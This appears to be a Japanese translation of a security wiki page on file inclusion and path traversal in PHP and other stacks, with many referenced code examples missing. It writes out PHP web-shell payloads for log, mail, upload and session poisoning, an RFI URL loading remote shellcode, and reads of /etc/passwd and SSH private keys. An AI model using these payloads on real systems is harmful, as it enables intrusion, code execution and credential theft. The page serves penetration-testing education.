File Inclusion/Path traversal
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discord サーバーに参加しましょう!
ハッキングの洞察 ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
最新の発表 最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握する
**Discord に参加して、今日からトップハッカーと協力を始めましょう!
ファイルインクルージョン
リモートファイルインクルージョン(RFI): ファイルがリモートサーバーから読み込まれます(最適: コードを書いてサーバーが実行します)。PHPでは、これはデフォルトで無効になっています(allow_url_include)。 ローカルファイルインクルージョン(LFI): サーバーがローカルファイルを読み込みます。
この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをある方法で制御できる場合に発生します。
脆弱なPHP関数: require、require_once、include、include_once
この脆弱性を悪用するための興味深いツール: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
Linux
複数の *nix LFI リストを組み合わせ、さらにパスを追加して作成したリスト:
/
を \
に変更してみてください
../../../../../
を追加してみてください
脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストはこちら で見つけることができます。
Windows
異なるワードリストの統合:
/
を \
に変更してみてください
C:/
を削除して ../../../../../
を追加してみてください
脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストはこちら で見つけることができます。
OS X
Linux の LFI リストをチェックしてください。
基本的な LFI とバイパス
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。
非再帰的に取り除かれたトラバーサルシーケンス
ヌルバイト (%00)
提供された文字列の末尾にさらに文字を追加してバイパスする(バイパス方法: $_GET['param']."php")
これはPHP 5.4以降で解決済み
エンコーディング
ダブルURLエンコードなどの非標準のエンコーディングを使用できます:
既存のフォルダから
バックエンドがフォルダのパスをチェックしている可能性があります:
サーバー上のファイルシステムディレクトリの探索
サーバーのファイルシステムは、特定のテクニックを用いて、ファイルだけでなくディレクトリを特定するために再帰的に探索することができます。このプロセスには、ディレクトリの深さを特定し、特定のフォルダの存在を調査することが含まれます。以下に、これを達成するための詳細な方法が示されています:
ディレクトリの深さを決定する: 現在のディレクトリの深さを確認するために、
/etc/passwd
ファイルを正常に取得することによって(サーバーがLinuxベースの場合に適用される)、ディレクトリの深さを特定します。深さが3であることを示す、以下のような構造の例のURLがあります:
フォルダの探査: 疑わしいフォルダの名前(例:
private
)をURLに追加し、次に/etc/passwd
に移動します。追加のディレクトリレベルは、深さを1つ増やす必要があります:
結果の解釈: サーバーの応答によって、フォルダが存在するかどうかが示されます:
エラー / 出力なし: 指定された場所におそらく
private
フォルダは存在しません。/etc/passwd
の内容:private
フォルダの存在が確認されました。
再帰的な探索: 発見されたフォルダは、同じ技術または従来のローカルファイルインクルージョン(LFI)メソッドを使用して、サブディレクトリやファイルをさらに調査できます。
ファイルシステム内の異なる場所のディレクトリを探索するには、ペイロードを適切に調整します。たとえば、/var/www/
にprivate
ディレクトリが含まれているかどうかを確認するには(現在のディレクトリが深さ3にあると仮定)、次のように使用します:
パス切り詰め技術
パス切り詰めは、Webアプリケーション内のファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字列を付加する特定のセキュリティ対策をバイパスして、制限されたファイルにアクセスするためによく使用されます。目標は、セキュリティ対策によって変更された後も、望ましいファイルを指すファイルパスを作成することです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。たとえば:
/etc/passwd
、/etc//passwd
、/etc/./passwd
、/etc/passwd/
はすべて同じパスとして扱われます。最後の6文字が
passwd
の場合、/
を追加してpasswd/
とすると、対象のファイルが変更されません。同様に、ファイルパスに
.php
が追加されている場合(例:shellcode.php
)、末尾に/.
を追加してもアクセスされるファイルは変わりません。
提供された例は、パス切り詰めを利用して、感度の高いコンテンツ(ユーザーアカウント情報)を含む一般的なターゲットである /etc/passwd
にアクセスする方法を示しています。
これらのシナリオでは、必要なトラバーサルの数は約2027回程度になる可能性がありますが、この数はサーバーの構成によって異なる可能性があります。
ドットセグメントと追加文字の使用: トラバーサルシーケンス (
../
) は、追加のドットセグメントと文字と組み合わせて使用することで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を無視することができます。必要なトラバーサルの数を決定する: 試行錯誤を通じて、
../
シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後/etc/passwd
に移動するために必要な数を見つけることができます。これにより、追加された文字列(例:.php
)が中立化されますが、目的のパス (/etc/passwd
) はそのままです。偽のディレクトリから始める: 存在しないディレクトリ(例:
a/
)でパスを開始するのは一般的な方法です。このテクニックは予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。
パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要であり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
この脆弱性はPHP 5.3で修正されました。
フィルター回避トリック
リモートファイルインクルージョン
PHPでは、これはデフォルトで無効になっています。なぜなら**allow_url_include
がOff**だからです。これを機能させるには、Onにする必要があり、その場合、サーバーからPHPファイルをインクルードしてRCEを取得できます。
もし何らかの理由で**allow_url_include
がOnになっているが、PHPが外部ウェブページへのアクセスをフィルタリング**している場合、この投稿によると、例えばデータプロトコルを使用してbase64でエンコードされたb64 PHPコードをデコードし、RCEを取得することができます:
前のコードでは、最後の +.txt
が追加された理由は、攻撃者が .txt
で終わる文字列が必要だったためです。そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミとなり、実際のPHPコードが含まれ(したがって、実行されます)。
php://
プロトコルを使用しない別の例は次のとおりです:
Pythonのルート要素
Pythonでは、次のようなコードがある場合:
ユーザーが**file_name
に絶対パス**を渡すと、前のパスが単に削除されます。
以下は、ドキュメントによる意図された動作です:
コンポーネントが絶対パスの場合、すべての前のコンポーネントが破棄され、絶対パスのコンポーネントから結合が続行されます。
Java ディレクトリのリスト
Java でパストラバーサルがある場合、ファイルではなくディレクトリを要求すると、ディレクトリのリストが返されるようです。これは他の言語では起こらないようです(私の知る限り)。
トップ25のパラメータ
以下は、ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです(リンクから):
PHPラッパーとプロトコルを使用したLFI / RFI
php://filter
PHPフィルターを使用すると、データが読み取られる前または書き込まれる前に基本的な変更操作を実行できます。フィルターには5つのカテゴリがあります:
string.rot13
string.toupper
string.tolower
string.strip_tags
: データからタグを削除します("<"と">"の文字の間のすべて)このフィルターは、現代のPHPのバージョンから消えています
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>
)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次を実行します:iconv -l
convert.iconv.*
変換フィルターを悪用すると、任意のテキストを生成することができ、任意のテキストを書き込んだり、関数を作成して任意のテキストを処理するのに役立ちます。詳細については、phpフィルターを介したLFI2RCEを確認してください。
zlib.deflate
: コンテンツを圧縮します(多くの情報を外部に持ち出す場合に便利)zlib.inflate
: データを解凍しますmcrypt.*
: 廃止予定mdecrypt.*
: 廃止予定その他のフィルター
phpで
var_dump(stream_get_filters());
を実行すると、いくつかの予期しないフィルターを見つけることができます:consumed
dechunk
: HTTPチャンクエンコーディングを逆にしますconvert.*
"php://filter"の部分は大文字と小文字を区別しません
phpフィルターをオラクルとして使用して任意のファイルを読み取る
この投稿では、サーバーからの出力を受け取らずにローカルファイルを読み取るための技術が提案されています。この技術は、phpフィルターをオラクルとして使用してファイルを1文字ずつ読み取ることに基づいています。これは、phpフィルターを使用してテキストを十分に大きくすることで、phpが例外をスローするようにすることができるためです。
元の投稿では、技術の詳細な説明が見つかりますが、ここでは簡単な要約を示します:
テキストの先頭に先行する文字を残し、文字列のサイズを指数関数的に増やすためにコーデック**
UCS-4LE
**を使用します。これにより、初期文字が正しく推測されたときに非常に大きなテキストが生成され、phpがエラーをトリガーします。
dechunkフィルターは、最初の文字が16進数でない場合はすべてを削除するため、最初の文字が16進数かどうかを知ることができます。
これは、最初の文字が16進数でないことを確認するために十分な変換を行うと、16進数文字でなくなり、dechunkがそれを削除せず、初期爆弾がphpエラーを引き起こすため、テキストの先頭の文字を推測することができます。
コーデックconvert.iconv.UNICODE.CP930は、各文字を次の文字に変換します(したがって、このコーデックを適用すると、a -> bになります)。たとえば、最初の文字が
a
であるかどうかを判断できます。なぜなら、このコーデックを6回適用すると、a->b->c->d->e->f->gとなり、文字がもはや16進数文字ではなくなるため、dechunkがそれを削除せず、phpエラーがトリガーされるからです。初めにrot13などの他の変換を使用すると、n、o、p、q、rなどの他の文字を漏洩させることができます(他のコーデックを使用して他の文字を16進数範囲に移動させることもできます)。
初期文字が数字の場合、それをbase64エンコードして最初の2文字を漏洩させる必要があります。
初期文字以上のデータをどのように漏洩するかを見る最終的な問題は、convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LEなどの順序メモリフィルターを使用して、文字の順序を変更し、テキストの最初の位置に他の文字を配置することができます。
さらにデータを取得するためには、convert.iconv.UTF16.UTF16で先頭に2バイトのジャンクデータを生成し、UCS-4LEを適用して次の2バイトとピボットさせ、ジャンクデータまでデータを削除します(これにより、初期テキストの最初の2バイトが削除されます)。これを望ましいビットまで漏洩するまで続けます。
投稿では、これを自動的に実行するためのツールも漏洩しています:php_filters_chain_oracle_exploit。
php://fd
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスできるようにします。開いているファイルの内容を漏洩するのに役立つ可能性があります:
あなたはphp://stdin、php://stdout、およびphp://stderrを使用して、それぞれファイルディスクリプタ0、1、および2にアクセスすることもできます(攻撃にどのように役立つかはわかりません)
zip:// および rar://
PHPShellが含まれたZipまたはRarファイルをアップロードしてアクセスします。 rarプロトコルを悪用するためには、特に有効化する必要があります。
data://
data://スキームは、データをURLに直接埋め込むために使用されます。これは、ファイルインクルージョン攻撃の一部として悪用される可能性があります。
注意:このプロトコルはphpの設定**allow_url_open
とallow_url_include
**によって制限されています。
expect://
Expectを有効にする必要があります。これを使用してコードを実行できます:
input://
POSTパラメーターにペイロードを指定します。
phar://
.phar
ファイルは、Webアプリケーションがファイルの読み込みにinclude
などの関数を利用する場合に、PHPコードを実行するために利用できます。以下に示すPHPコードスニペットは、.phar
ファイルの作成を示しています:
.phar
ファイルをコンパイルするには、次のコマンドを実行する必要があります:
実行すると、test.phar
というファイルが作成され、ローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。
LFIがPHPコードの実行なしにファイルの読み取りのみを行う場合、file_get_contents()
、fopen()
、file()
、file_exists()
、md5_file()
、filemtime()
、filesize()
などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、phar
プロトコルを使用してファイルを読み取ることに関連しています。
.phar
ファイルのコンテキストで逆シリアル化脆弱性を悪用する詳細については、以下のドキュメントを参照してください:
Phar Deserialization Exploitation Guide
さらなるプロトコル
より多くの可能性のある ここに含めるプロトコルをチェックしてください:
php://memory および php://temp — メモリ内または一時ファイルに書き込み(これがファイルインクルージョン攻撃でどのように有用かはわかりません)
file:// — ローカルファイルシステムへのアクセス
http:// — HTTP(s) URLへのアクセス
ftp:// — FTP(s) URLへのアクセス
zlib:// — 圧縮ストリーム
glob:// — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり役立ちません)
ssh2:// — セキュアシェル2
ogg:// — オーディオストリーム(任意のファイルを読み取るのには役立ちません)
PHPの 'assert' を介したLFI
PHPにおけるローカルファイルインクルージョン(LFI)リスクは、文字列内のコードを実行できる 'assert' 関数を扱う際に特に高いです。これは、ディレクトリトラバーサル文字(".. "など)を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。
たとえば、PHPコードが次のようにデザインされている場合、ディレクトリトラバーサルを防ぐことができます:
以下はトラバーサルを防ぐことを目的としていますが、結果的にコードインジェクションのためのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます:
同様に、任意のシステムコマンドを実行するためには、次のように使用することができます:
重要なのは、これらのペイロードをURLエンコードすることです。
HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう
最新のお知らせ 最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
Discord に参加して、今日からトップハッカーと協力を始めましょう!
PHP Blind Path Traversal
このテクニックは、PHP関数のファイルパスを制御できる場合に関連します。ファイルにアクセスしますが、ファイルの内容は表示されません(**file()
**への単純な呼び出しのような)。
この素晴らしい投稿 では、PHPフィルタを介して盲目的なパストラバーサルを悪用して、エラーオラクルを介してファイルの内容を外部に流出させる方法が説明されています。
要約すると、このテクニックは、ファイルの内容を非常に大きくするために**"UCS-4LE"エンコーディングを使用し、ファイルを開くPHP関数がエラー**をトリガーするようにします。
その後、最初の文字を漏洩させるために、フィルタ**dechunk
が使用され、他のフィルタ(base64やrot13など)と最終的にフィルタconvert.iconv.UCS-4.UCS-4LEおよびconvert.iconv.UTF16.UTF-16BEが使用され、他の文字を先頭に配置して漏洩**されます。
脆弱性のある可能性のある関数: file_get_contents
、readfile
、finfo->file
、getimagesize
、md5_file
、sha1_file
、hash_file
、file
、parse_ini_file
、copy
、file_put_contents(これだけを読み取るターゲット)
、stream_get_contents
、fgets
、fread
、fgetc
、fgetcsv
、fpassthru
、fputs
技術的な詳細については、言及された投稿をチェックしてください!
LFI2RCE
リモートファイルインクルージョン
以前に説明した内容は、このリンクを参照してください。
Apache/Nginxログファイル経由
ApacheまたはNginxサーバーがLFIに脆弱である場合、インクルード関数内で**/var/log/apache2/access.log
または/var/log/nginx/access.log
にアクセスを試みることができます。ユーザーエージェント内またはGETパラメータ内に<?php system($_GET['c']); ?>
**のようなPHPシェルを設定し、そのファイルをインクルードします
シェルに単一引用符ではなく二重引用符を使用すると、二重引用符が文字列 "quote;"に変更され、PHPはそこでエラーをスローし、それ以外は実行されません。
また、ペイロードを正しく記述することを確認してください。そうしないと、ログファイルをロードしようとするたびにPHPがエラーをスローし、2回目の機会が得られなくなります。
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これがシェルを破壊する可能性があります。ヘッダー**authorisation "basic"**にはBase64で"user:password"が含まれ、ログ内でデコードされます。PHPShellをこのヘッダー内に挿入することができます。 他の可能なログパス:
メール経由
内部アカウント(user@localhost)にPHPペイロード(<?php echo system($_REQUEST["cmd"]); ?>
のような)を含むメールを送信し、ユーザーのメールに**/var/mail/<USERNAME>
または/var/spool/mail/<USERNAME>
**のようなパスでインクルードしようとします。
/proc/*/fd/* 経由
多数のシェルをアップロードします(例:100個)
http://example.com/index.php?page=/proc/$PID/fd/$FDをインクルードします。ここで、$PIDはプロセスのPID(ブルートフォースされる可能性があります)、$FDはファイルディスクリプタ(これもブルートフォースされる可能性があります)です。
/proc/self/environ 経由
ログファイルのように、ペイロードをUser-Agentに送信すると、/proc/self/environファイル内に反映されます。
アップロード経由
ファイルをアップロードできる場合は、シェルペイロードをその中にインジェクトしてください(例: <?php system($_GET['c']); ?>
)。
Zipファイルのアップロード経由
PHPシェルを含むZIPファイルをアップロードしてアクセスします:
PHPセッション経由
ウェブサイトがPHPセッション(PHPSESSID)を使用しているかどうかを確認します。
PHPでは、これらのセッションは/var/lib/php5/sess\[PHPSESSID]
ファイルに保存されます。
クッキーを<?php system('cat /etc/passwd');?>
に設定します。
LFIを使用してPHPセッションファイルをインクルードします。
SSH経由
sshがアクティブである場合は、使用されているユーザーを確認します(/proc/self/statusおよび/etc/passwd)し、<HOME>/.ssh/id_rsaにアクセスを試みます。
vsftpd ログ 経由
FTPサーバーvsftpdのログは /var/log/vsftpd.log にあります。ローカルファイルインクルージョン(LFI)脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順が考慮されます:
ログインプロセス中にユーザー名フィールドにPHPペイロードをインジェクトします。
インジェクション後、LFIを使用して /var/log/vsftpd.log からサーバーログを取得します。
PHPベース64フィルター経由(base64を使用)
この 記事に示されているように、PHPベース64フィルターは非ベース64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:base64を提供し、それが".php"で終わる場合、"."を無視して"php"をbase64に追加します。以下は例です:
phpフィルターを介して(ファイル不要)
この解説は、phpフィルターを使用して任意のコンテンツを出力できることを説明しています。つまり、ファイルに書き込む必要なしに、インクルード用に任意のphpコードを生成できます。
セグメンテーションフォールトを介して
/tmp
に一時的に保存されるファイルをアップロードし、同じリクエストでセグメンテーションフォールトをトリガーし、その後一時ファイルが削除されなくなり、それを検索できます。
Nginxの一時ファイルストレージを介して
ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません:
PHP_SESSION_UPLOAD_PROGRESSを介して
セッションがなく、session.auto_start
がOff
でもローカルファイルインクルージョンを見つけた場合、PHP_SESSION_UPLOAD_PROGRESS
をマルチパートPOSTデータで提供すると、PHPがセッションを有効にします。これを悪用してRCEを取得できます:
Windowsでの一時ファイルアップロードを介して
ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません:
phpinfo()(file_uploads = on)を介して
ローカルファイルインクルージョンを見つけ、file_uploads = onでphpinfo()を公開するファイルがある場合、RCEを取得できます:
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ パス開示を介して
PHP_STREAM_PREFER_STUDIO
+ パス開示を介してローカルファイルインクルージョンを見つけ、一時ファイルのパスを外部に送信できるが、サーバーがインクルードするファイルにPHPマークがあるかどうかをチェックしている場合、この競合状態を使用してそのチェックをバイパスできます:
永遠の待機 + ブルートフォースを介して
LFIを悪用して一時ファイルをアップロードし、サーバーがPHP実行を停止させることができれば、その後数時間かけてファイル名をブルートフォースして一時ファイルを見つけることができます:
致命的エラーへ
/usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
のいずれかをインクルードします(同じものを2回インクルードする必要があります)。
これがどのように有用かはわかりませんが、役立つかもしれません。 PHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。
参考文献
HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察 ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
リアルタイムハックニュース リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
最新の発表 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**Discordに参加して、今日からトップハッカーと協力を始めましょう!
Last updated